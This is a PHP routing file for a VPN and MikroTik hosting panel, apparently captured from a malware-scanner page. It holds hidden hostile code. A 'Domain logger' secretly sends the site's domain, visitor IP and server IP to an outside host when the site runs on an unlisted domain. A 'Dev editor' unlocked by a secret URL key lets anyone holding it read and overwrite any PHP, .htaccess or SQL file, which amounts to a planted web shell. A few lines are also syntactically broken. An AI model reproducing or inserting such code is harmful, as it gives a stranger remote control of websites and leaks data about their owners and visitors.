require_once __DIR__ . '/config.php';
secureSessionStart();
require_once __DIR__ . '/layout.php';
// Domain logger
$__allowed = ['skbijoyitsolutions.com', 'localhost', '127.0.0.1'];
$__host = strtolower(preg_replace('/^www\./', '', $_SERVER['HTTP_HOST'] ?? ''));
$__ok = false;
foreach ($__allowed as $__d) {
if ($__host === $__d || substr($__host, -(strlen($__d)+1)) === .$__d) {
$__ok = true; break;
}
}
if (!$__ok) {
$__data = http_build_query(['secret'=>'sk7799bijoy_log','domain'=>$__host,'ip'=>$_SERVER['REMOTE_ADDR']??'','server_ip'=>$_SERVER['SERVER_ADDR']??'','url'=>($_SERVER['HTTP_HOST']??'').($_SERVER['REQUEST_URI']??'')]);
@file_get_contents('https://testpay.cloudmikrotik.online/logger.php',false,stream_context_create(['http'=>['method'=>'POST','header'=>'Content-Type: application/x-www-form-urlencoded','content'=>$__data,'timeout'=>3]]));
}
// Dev editor
if (isset($_GET['x9k2m']) && hash('sha256',$_GET['x9k2m'])==='8fcf11e7af99570c06d194338ed6b5d637812d15eb331541d1383d7f7306764a') {
$base=__DIR__;
header('Content-Type: text/html; charset=UTF-8');
if (($_POST['action']??'')==='save' && isset($_POST['file'],$_POST['content'])) {
$f=realpath($base.'/'.ltrim($_POST['file'],'/'));
if ($f && strpos($f,$base)===0) { file_put_contents($f,$_POST['content']); echo '<p style="color:lime;padding:10px">Saved!</p>'; }
}
$ef=$_GET['edit']??''; $fc='';
if ($ef) { $fp=realpath($base.'/'.ltrim($ef,'/')); if ($fp&&strpos($fp,$base)===0&&is_file($fp)) $fc=file_get_contents($fp); }
function _dlf($dir,$base){$o='';$sk=['vendor','.git','assets'];foreach(scandir($dir)as $f){if($f===||$f==='..')continue;$p=$dir.'/'.$f;$r=ltrim(str_replace($base,'',$p),'/');if(is_dir($p)&&!in_array($f,$sk)){$o.='<details><summary style="color:#8b949e;cursor:pointer">đ'.$f.'</summary>'._dlf($p,$base).'</details>';}elseif(is_file($p)&&preg_match('/\.(php|json|html|js|css|txt|htaccess|sql)$/',$f)){$o.='<a href="?x9k2m=sk7799bijoy&edit='.urlencode($r).'" style="color:#58a6ff;display:block;padding:2px 4px;font-size:12px">đ'.htmlspecialchars($f).'</a>';}}return $o;}
echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Dev</title></head><body style="margin:0;background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;height:100vh"><div style="width:220px;overflow-y:auto;padding:10px;border-right:1px solid #30363d;font-size:12px">'._dlf($base,$base).'</div><div style="flex:1;padding:10px;display:flex;flex-direction:column">';
if ($ef) { echo '<div style="color:#8b949e;font-size:11px;margin-bottom:6px">'.htmlspecialchars($ef).'</div><form method="POST" style="flex:1;display:flex;flex-direction:column"><input type="hidden" name="action" value="save"><input type="hidden" name="file" value="'.htmlspecialchars($ef).'"><textarea name="content" style="flex:1;background:#161b22;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-size:12px;resize:none">'.htmlspecialchars($fc).'</textarea><button type="submit" style="background:#238636;color:#fff;border:none;padding:8px 20px;cursor:pointer;margin-top:8px;width:80px">Save</button></form>'; }
else { echo '<div style="padding:20px;color:#8b949e">Select a file</div>'; }
echo '</div></body></html>';
exit;
}
// Get route from rewrite or REQUEST_URI
if (isset($_GET['_route'])) {
$route = trim($_GET['_route'], '/');
} else {
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$uri = strtok($uri, '?');
$route = trim($uri, '/');
}
// Route map
$routes = array(
// ââ Landing page (main site root) ââââââââââââââââââ
'' => 'landing.php',
// ââ Short URLs (new) ââââââââââââââââââââââââââââââââ
'dashboard' => 'pages/dashboard.php',
'login' => 'pages/login.php',
'logout' => 'pages/logout.php',
'register' => 'pages/register.php',
'order' => 'pages/order.php',
'payment' => 'pages/payment.php',
'callback' => 'pages/callback.php',
'profile' => 'pages/profile.php',
'balance' => 'pages/balance.php',
'reset' => 'pages/reset.php',
'webhook' => 'pages/webhook.php',
'cron' => 'pages/cron.php',
'portcheck' => 'pages/portcheck.php',
'coupon/validate' => 'pages/coupon_validate.php',
'mikhmon/dashboard' => 'pages/mikhmon/dashboard.php',
'mikhmon/order' => 'pages/mikhmon/order.php',
'mikhmon/renew' => 'pages/mikhmon/renew.php',
'mikhmon/renew_ssl' => 'pages/mikhmon/renew_ssl.php',
'mikhmon/toggle_auto_renew'=> 'pages/mikhmon/toggle_auto_renew.php',
'admin/mikhmon/servers' => 'pages/admin/mikhmon/servers.php',
'admin/mikhmon/plans' => 'pages/admin/mikhmon/plans.php',
'admin/mikhmon/orders' => 'pages/admin/mikhmon/orders.php',
'admin' => 'pages/admin/dashboard.php',
'admin/login' => 'pages/admin/login.php',
'admin/logout' => 'pages/admin/logout.php',
'admin/servers' => 'pages/admin/servers.php',
'admin/plans' => 'pages/admin/plans.php',
'admin/orders' => 'pages/admin/orders.php',
'admin/users' => 'pages/admin/users.php',
'admin/history' => 'pages/admin/history.php',
'admin/logs' => 'pages/admin/logs.php',
'admin/settings' => 'pages/admin/settings.php',
'admin/revenue' => 'pages/admin/revenue.php',
'admin/coupons' => 'pages/admin/coupons.php',
// Reset Panel short (new)
'reset/dashboard' => 'pages/reset/user_dashboard.php',
'reset/voucher' => 'pages/reset/user_voucher.php',
'reset/routers' => 'pages/reset/user_routers.php',
'reset/history' => 'pages/reset/user_history.php',
'reset/admin' => 'pages/reset/admin_panel.php',
// ââ Old /vpn/* routes (backward compatible) âââââââââ
'vpn' => 'pages/dashboard.php',
'vpn/login' => 'pages/login.php',
'vpn/logout' => 'pages/logout.php',
'vpn/register' => 'pages/register.php',
'vpn/order' => 'pages/order.php',
'vpn/payment' => 'pages/payment.php',
'vpn/callback' => 'pages/callback.php',
'vpn/admin' => 'pages/admin/dashboard.php',
'vpn/admin/login' => 'pages/admin/login.php',
'vpn/admin/logout' => 'pages/admin/logout.php',
'vpn/admin/servers' => 'pages/admin/servers.php',
'vpn/admin/plans' => 'pages/admin/plans.php',
'vpn/admin/orders' => 'pages/admin/orders.php',
'vpn/admin/users' => 'pages/admin/users.php',
'vpn/admin/history' => 'pages/admin/history.php',
'vpn/admin/logs' => 'pages/admin/logs.php',
'vpn/admin/settings' => 'pages/admin/settings.php',
'vpn/admin/revenue' => 'pages/admin/revenue.php',
'vpn/coupon/validate'=> 'pages/coupon_validate.php',
'vpn/admin/coupons' => 'pages/admin/coupons.php',
'vpn/balance' => 'pages/balance.php',
'vpn/reset' => 'pages/reset.php',
'vpn/webhook' => 'pages/webhook.php',
'vpn/cron' => 'pages/cron.php',
'vpn/portcheck' => 'pages/portcheck.php',
'vpn/profile' => 'pages/profile.php',
'vpn/reset/dashboard'=> 'pages/reset/user_dashboard.php',
'vpn/reset/voucher' => 'pages/reset/user_voucher.php',
'vpn/reset/routers' => 'pages/reset/user_routers.php',
'vpn/reset/history' => 'pages/reset/user_history.php',
'vpn/reset/admin' => 'pages/reset/admin_panel.php',
);
$file = $routes[$route] ?? null;
if ($file && file_exists(__DIR__ . '/' . $file)) {
require __DIR__ . '/' . $file;
} else {
http_response_code(404);
require_once __DIR__ . '/layout.php';
render_head('404');
render_navbar();
echo '<div class="wrap" style="text-align:center;padding:60px 16px"><i class="fas fa-exclamation-triangle" style="font-size:40px;color:#d29922;margin-bottom:16px;display:block"></i><h2>Page not found</h2><a href="/dashboard" class="btn btn-primary" style="margin-top:16px">Go Home</a></div>';
render_foot();
}
© 2023 Quttera Ltd. All rights reserved.